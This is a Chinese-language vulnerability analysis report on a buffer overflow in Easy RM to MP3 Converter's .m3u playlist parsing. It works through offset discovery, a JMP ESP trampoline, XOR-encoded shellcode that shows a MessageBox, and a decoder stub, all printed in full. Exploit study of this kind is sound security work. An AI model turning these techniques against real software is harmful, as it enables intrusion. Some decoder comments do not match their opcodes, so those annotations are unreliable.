Easy RM to MP3 Converter漏洞分析报告
软件名称:Easy RM to MP3 Converter 软件版本:2.7.3.700 漏洞模块:RM2MP3Converter.exe 模块版本:2.7.3.700 编译日期:2006-09-29 | 操作系统:Windows 7 SP1(6.1.7601) 漏洞编号: 危害等级:中 漏洞类型:缓冲区溢出 威胁类型:本地 |
分析人:李祥
2016年12月23日
1. 软件简介
Easy RM to MP3 Converter:是由Mini-stream Software公司推出的一款共享软件,主要用于将RM格式的音频转换为MP3格式。
2. 漏洞原理
Easy RM to MP3 Converter 2.7.3.700版本中存在缓冲区溢出漏洞。这款软件存在漏洞的地方是对.m3u音频列表文件的解析出了问题。
通过了解得知,.m3u文件是纯文本文件,里面直接用文本的方式保存着音频文件的地址,因此我们可以非常方便的去构造一个.m3u文件,而不用去考虑文件格式的问题。
3. 构造触发漏洞的POC
经过上面对漏洞成因的分析,知道漏洞是由于对.m3u音频列表文件的解析导致的。为了验证以上的分析并触发漏洞,我们需要往Easy RM to MP3 Converter插入一个特殊构造的.m3u文件。
首先我们逐步往文件中填入“AAAAA…”,直到其奔溃为止
由于溢出点的范围可能较大,因此我们需要使用二分法查找,也就是将大约一半的文件内容填为“AAAAA…” 并将另一半填为“BBBBB…”,以此来确定溢出点的大致位置
由异常偏移“0x42424242”可知,我们的异常点落到了下半部分,因此我们继续将下半部分替换为“CCCCC…”与“DDDDD…” 各占一半的内容,以此来更进一步确定溢出点的具体位置
由异常偏移“0x4e4e4e4e”可知,我们的异常点落到了最后一部分
我们在按照如上逻辑不断的细分下去,最终定位到溢出点的偏移是0x0000B071
4. 构造Exploit
我们使用跳板指令的方式构造一个Exploit,先要看看程序里是否有JMP ESP
用Windbg搜索程序中的JMP ESP指令:s 752c0000 L100000 FF E4
s是windbg的搜索命令 752c0000是你要从哪里开始的地址 L100000是搜索的范围,搜索范围大于256M需要在前面加上L, FF E4 = jmp esp
搜索出来一大堆JMP ESP指令的地址,随便选一个用来作为跳板,这里我们选择第一个
这里我们还要利用一个加密函数加密我们的Shellcode,通过不断尝试变换加密Key,最终使得加密后的Shellcode不含截断字符
上代码:
#include "stdafx.h"
bool AutoEncoder(char *pData, int nSize)
{
// 1. 循环尝试用不同的key加密,直到加密结果不出现0x00
int nOutKey = 0x00;
unsigned char * pBuffer = NULL;
bool bComplete = true;
pBuffer = (unsigned char *)new char[nSize + 1];
for (int key = 0; key < 0xFF; key++) {
nOutKey = key;
bComplete = true;
for (int i = 0; i < nSize; i++) {
pBuffer[i] = pData[i] ^ key;
if (0x00 == pBuffer[i] || 0x0A == pBuffer[i]) {
bComplete = false;
break;
}
}
if (bComplete) break;
}
// 2. 判断加密是否成功,不成功则返回false
if (!bComplete) return false;
// 3. 将加密后的内容保存在文件中
FILE * fpOutFile;
if (EINVAL == fopen_s(&fpOutFile, "encode.txt", "w+"))
return false;
// 3.1 输出“/* Encode Key=0xXX */”
fprintf(fpOutFile, "/* Encode Key=0x%0.2X size=0x%04X*/\n", nOutKey,nSize);
// 3.2 输出“char bShellcode[] = \”与下一行首部的“"”
fprintf(fpOutFile, "char bShellcode[] = \\\n\"");
for (int i = 0; i < nSize; i++) {
fprintf(fpOutFile, "\\x%0.2X", pBuffer[i]);
if ((i + 1) % 16 == 0)
fprintf(fpOutFile, "\" \\\n\"");
}
// 3.3 输出“";”
fprintf(fpOutFile, "\";");
// 4. 关闭句柄,释放资源
fclose(fpOutFile);
delete[] pBuffer;
return true;
}
int main()
{
char cShellcode[309] = {
0x60, 0x83, 0xEC, 0x20, 0xEB, 0x4D, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64,
0x72, 0x65, 0x73, 0x73, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x45,
0x78, 0x41, 0x00, 0x55, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x4D, 0x65,
0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x45, 0x78, 0x69, 0x74, 0x50, 0x72,
0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C,
0x64, 0x21, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x64, 0x8B, 0x35, 0x30, 0x00, 0x00, 0x00,
0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x36, 0x8B, 0x56, 0x08, 0x53, 0x52, 0xE8, 0x12, 0x00,
0x00, 0x00, 0x8B, 0xF0, 0x8D, 0x4B, 0xBC, 0x51, 0x52, 0xFF, 0xD0, 0x53, 0x56, 0x50, 0x52, 0xE8,
0x6E, 0x00, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0x52, 0x8B, 0x55, 0x08, 0x8B, 0x72,
0x3C, 0x8D, 0x34, 0x32, 0x8B, 0x76, 0x78, 0x8D, 0x34, 0x32, 0x8B, 0x7E, 0x1C, 0x8D, 0x3C, 0x3A,
0x89, 0x7D, 0xFC, 0x8B, 0x7E, 0x20, 0x8D, 0x3C, 0x3A, 0x89, 0x7D, 0xF8, 0x8B, 0x7E, 0x24, 0x8D,
0x3C, 0x3A, 0x89, 0x7D, 0xF4, 0x33, 0xC0, 0xEB, 0x01, 0x40, 0x8B, 0x75, 0xF8, 0x8B, 0x34, 0x86,
0x8B, 0x55, 0x08, 0x8D, 0x34, 0x32, 0x8B, 0x5D, 0x0C, 0x8D, 0x7B, 0xAE, 0xB9, 0x0E, 0x00, 0x00,
0x00, 0xFC, 0xF3, 0xA6, 0x75, 0xE3, 0x8B, 0x75, 0xF4, 0x33, 0xFF, 0x66, 0x8B, 0x3C, 0x46, 0x8B,
0x55, 0xFC, 0x8B, 0x34, 0xBA, 0x8B, 0x55, 0x08, 0x8D, 0x04, 0x32, 0x5A, 0x8B, 0xE5, 0x5D, 0xC2,
0x08, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x8B, 0x5D, 0x14, 0x8D, 0x4B, 0xCB, 0x6A, 0x00,
0x6A, 0x00, 0x51, 0xFF, 0x55, 0x0C, 0x8D, 0x4B, 0xD6, 0x51, 0x50, 0xFF, 0x55, 0x10, 0x89, 0x45,
0xFC, 0x8D, 0x4B, 0xE2, 0x51, 0xFF, 0x75, 0x08, 0xFF, 0x55, 0x10, 0x89, 0x45, 0xF8, 0x8D, 0x4B,
0xEE, 0x6A, 0x00, 0x51, 0x51, 0x6A, 0x00, 0xFF, 0x55, 0xFC, 0x6A, 0x00, 0xFF, 0x55, 0xF8, 0x8B,
0xE5, 0x5D, 0xC2, 0x10, 0x00
};
AutoEncoder(cShellcode, sizeof(cShellcode));
return 0;
}
编译运行后,得到加密后的Shellcode
接下来我们还需要一段解密的代码
#include "stdafx.h"
int main()
{
_asm
{
// 1. GetPC
xor eax,eax
call tag_GET_PC-1
tag_GET_PC:
retn
pop eax
// 2. Decode
lea esi,[eax+0x1B] // esi = Shellcode(Encode)
xor ecx,ecx // ecx = 循环计数器
mov cx,0x0136 // cx = Shellcode体积
tag_Decode:
mov al,[esi+ecx] // al = 解密前字节
xor al,0x03 // al = 解密后字节(0x03为Key)
mov [esi+ecx],al
loop tag_Decode
xor [esi+ecx],0x03 // 将最后一个字节解密(因为ECX为0时LOOP会停止)
// 3. 跳转到Shellcode
jmp esi
}
return 0;
}
然后将这段解密代码写为opcode形式,为了在加密后的shellcode前添加
#include "stdafx.h"
char bShellcode1[] = \
/* xor eax,eax */ "\x33\xC0" \
/* call 0xFFFFFFFF */ "\xE8\xFF\xFF\xFF\xFF" \
/* retn */ "\xC3" \
/* pop eax ;eax=GetPc */ "\x58" \
/* lea esi,[eax+0x17] ;esi=Shellcode */ "\x8D\x70\x1B" \
/* xor ecx,ecx ;ecx=循环计数器 */ "\x33\xC9" \
/* mov cx,0x0136 ; cx=Shellcode体积 */ "\x66\xB9\x36\x01" \
/* tag_Decode: */
/* mov al,[esi+ecx] ; al=解密前字节 */ "\x8A\x04\x0E" \
/* xor al,0x02 ;0x03为Key */ "\x34\x03" \
/* mov [esi+ecx],al */ "\x88\x04\x0E" \
/* loop tag_Decode */ "\xE2\xF6" \
/* xor [esi+ecx],0x03 ;解密最后一字节 */ "\x80\x34\x0E\x03" \
/* jmp esi ;跳到Shellcode */ "\xFF\xE6" \
//......
//......
;
int main()
{
return 0;
}
终于可以构造我们的.m3u文件了,几块区域分别用不同颜色标注出来:
红色方框:JMP ESP 黄色方框:滑板指令(nop) 绿色方框:解密代码(Decode) 蓝色方框:Shellcode
接下来,就是到了激动人心的时刻了,将我们精心构造的.m3u文件用软件打开
此时,弹出了我们想要的MessageBox
漏洞利用结束。